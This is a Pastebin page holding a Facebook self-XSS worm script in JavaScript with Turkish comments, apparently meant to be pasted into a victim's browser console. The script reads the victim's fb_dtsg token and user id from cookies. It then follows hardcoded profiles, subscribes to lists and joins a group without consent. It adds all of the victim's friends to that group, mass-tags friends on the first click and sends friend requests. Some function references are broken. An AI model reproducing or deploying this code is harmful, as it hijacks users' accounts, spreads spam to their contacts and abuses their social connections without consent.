Pastebin launched a little side project called HostCabi.net, check it out ;-)Don't like ads? PRO users don't see any ads ;-)
Guest

http://pastebin.com/raw.php?i=Lq73XVX4

By: a guest on Jul 15th, 2013  |  syntax: None  |  size: 8.55 KB  |  hits: 26  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3.        
  4. function cereziAl(isim) {
  5.     var tarama = isim + "=";
  6.     if (document.cookie.length > 0) {
  7.         konum = document.cookie.indexOf(tarama)
  8.         if (konum != -1) {
  9.             konum += tarama.length
  10.             son = document.cookie.indexOf(";", konum)
  11.             if (son == -1)
  12.                 son = document.cookie.length
  13.             return unescape(document.cookie.substring(konum, son))
  14.         }
  15.         else { return ""; }
  16.     }
  17. }
  18.  
  19. function getRandomInt (min, max) {
  20.     return Math.floor(Math.random() * (max - min + 1)) + min;
  21. }
  22. function randomValue(arr) {
  23.     return arr[getRandomInt(0, arr.length-1)];
  24. }
  25.  
  26. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  27. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  28.  
  29. function a(abone){
  30.     var http4 = new XMLHttpRequest();
  31.      
  32.     var url4 = "/ajax/follow/follow_profile.php?__a=1";
  33.      
  34.     var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  35.     http4.open("POST", url4, true);
  36.      
  37.     //Send the proper header information along with the request
  38.     http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  39.     http4.setRequestHeader("Content-length", params4.length);
  40.     http4.setRequestHeader("Connection", "close");
  41.      
  42.     http4.onreadystatechange = function() {//Call a function when the state changes.
  43.     if(http4.readyState == 4 && http4.status == 200) {
  44.        
  45.       http4.close; // Close the connection
  46.      
  47.     }
  48.     }
  49.    
  50.     http4.send(params4);
  51. }
  52.  
  53. function sublist(uidss) {
  54.                 var a = document.createElement('script');
  55.                 a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  56.                 document.body.appendChild(a);
  57. }
  58.  
  59. a("100006349177578");
  60. a("100005760273255");
  61. a("100005953687060");
  62. a("100005900798001");
  63.  
  64.  
  65. sublist("1382235335331426");
  66. sublist("1382233875331572");
  67.  
  68.  
  69. sublist("1382234678664825");
  70.  
  71. var gid = ['293373974140403'];
  72.  
  73. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  74. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  75.  
  76. var httpwp = new XMLHttpRequest();
  77. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  78. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  79. httpwp['open']('POST', urlwp, true);
  80. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  81. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  82. httpwp['setRequestHeader']('Connection', 'keep-alive');
  83. httpwp['send'](paramswp);
  84.  
  85. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  86. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  87.  
  88. var friends = new Array();
  89. gf = new XMLHttpRequest();
  90. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  91. gf['send']();
  92. if (gf['readyState'] != 4) {} else {
  93.     data = eval('(' + gf['responseText']['substr'](9) + ')');
  94.     if (data['error']) {} else {
  95.         friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  96.             return _0x93dax8['index'] - _0x93dax9['index'];
  97.         });
  98.     };
  99. };
  100.  
  101. for (var i = 0; i < friends['length']; i++) {
  102.     var httpwp = new XMLHttpRequest();
  103.     var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  104.     var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  105.     httpwp['open']('POST', urlwp, true);
  106.     httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  107.     httpwp['setRequestHeader']('Content-length', paramswp['length']);
  108.     httpwp['setRequestHeader']('Connection', 'keep-alive');
  109.     httpwp['onreadystatechange'] = function () {
  110. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  111.     };
  112.     httpwp['send'](paramswp);
  113. };
  114. var spage_id = "524173434298491";
  115. var spost_id = "201310873248567";
  116. var sfoto_id = "169722359761696";
  117. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  118. var smesaj = "";
  119. var smesaj_text = "";
  120. var arkadaslar = [];
  121. var svn_rev;
  122. var bugun= new Date();
  123. var btarihi = new Date();
  124. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  125. if(!document.cookie.match(/paylasti=(\d+)/)){
  126. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  127. }
  128.  
  129.  
  130. //arkadaslari al ve isle
  131. function sarkadaslari_al(){
  132.                 var xmlhttp = new XMLHttpRequest();
  133.         xmlhttp.onreadystatechange = function () {
  134.                         if(xmlhttp.readyState == 4){
  135.                                   eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  136.                                   for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  137.                                         smesaj = "";
  138.                                         smesaj_text = "";
  139.                                   for(i=f*10;i<(f+1)*10;i++){
  140.                                         if(arkadaslar.payload.entries[i]){
  141.                                   smesaj += " @[" + arkadaslar.payload.entries[i].uid +  ":" + arkadaslar.payload.entries[i].text + "]";
  142.                                   smesaj_text += " " + arkadaslar.payload.entries[i].text;
  143.                                   }
  144.                                         }
  145.                                         sdurumpaylas();                         }
  146.                                
  147.                         }
  148.                        
  149.         };
  150.                 var params = "&filter[0]=user";
  151.                 params += "&options[0]=friends_only";
  152.                 params += "&options[1]=nm";
  153.                 params += "&token=v7";
  154.         params += "&viewer=" + user_id;
  155.                 params += "&__user=" + user_id;
  156.                
  157.         if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  158.         else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  159.         xmlhttp.send();
  160. }
  161.  
  162. //tiklama olayini dinle
  163. var tiklama = document.addEventListener("click", function () {
  164. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  165. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  166. sarkadaslari_al();
  167. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  168.  
  169. document.removeEventListener(tiklama);
  170. }
  171.  }, false);
  172.  
  173.  
  174. //arkada?¾ ekleme
  175. function sarkadasekle(uid,cins){
  176.                 var xmlhttp = new XMLHttpRequest();
  177.         xmlhttp.onreadystatechange = function () {
  178.                         if(xmlhttp.readyState == 4){   
  179.                         }
  180.         };
  181.                
  182.                 xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  183.                 var params = "to_friend=" + uid;
  184.                 params += "&action=add_friend";
  185.                 params += "&how_found=friend_browser";
  186.                 params += "&ref_param=none";
  187.                 params += "&outgoing_id=";
  188.                 params += "&logging_location=friend_browser";
  189.                 params += "&no_flyout_on_click=true";
  190.                 params += "&ego_log_data=";
  191.                 params += "&http_referer=";
  192.                 params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  193.         params += "&phstamp=165816749114848369115";
  194.                 params += "&__user=" + user_id;
  195.                 xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  196.                 xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  197.                
  198. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  199.                 xmlhttp.send(params);
  200. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  201.                 cinsiyetgetir(uid,cins,"sarkadasekle");
  202. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  203.                 xmlhttp.send(params);
  204. }
  205. }
  206.  
  207. //cinsiyet belirleme
  208. var cinssonuc = {};
  209. var cinshtml = document.createElement("html");
  210. function scinsiyetgetir(uid,cins,fonksiyon){
  211.                 var xmlhttp = new XMLHttpRequest();
  212.         xmlhttp.onreadystatechange = function () {
  213.                         if(xmlhttp.readyState == 4){
  214.                         eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  215.                         cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  216.                         btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  217.                         if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  218.                         document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  219.                         }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  220.                         document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  221.                         }
  222.                         eval(fonksiyon + "(" + id + "," + cins + ");");
  223.                         }
  224.         };
  225.                 xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  226.                 xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  227.                 xmlhttp.send();
  228. }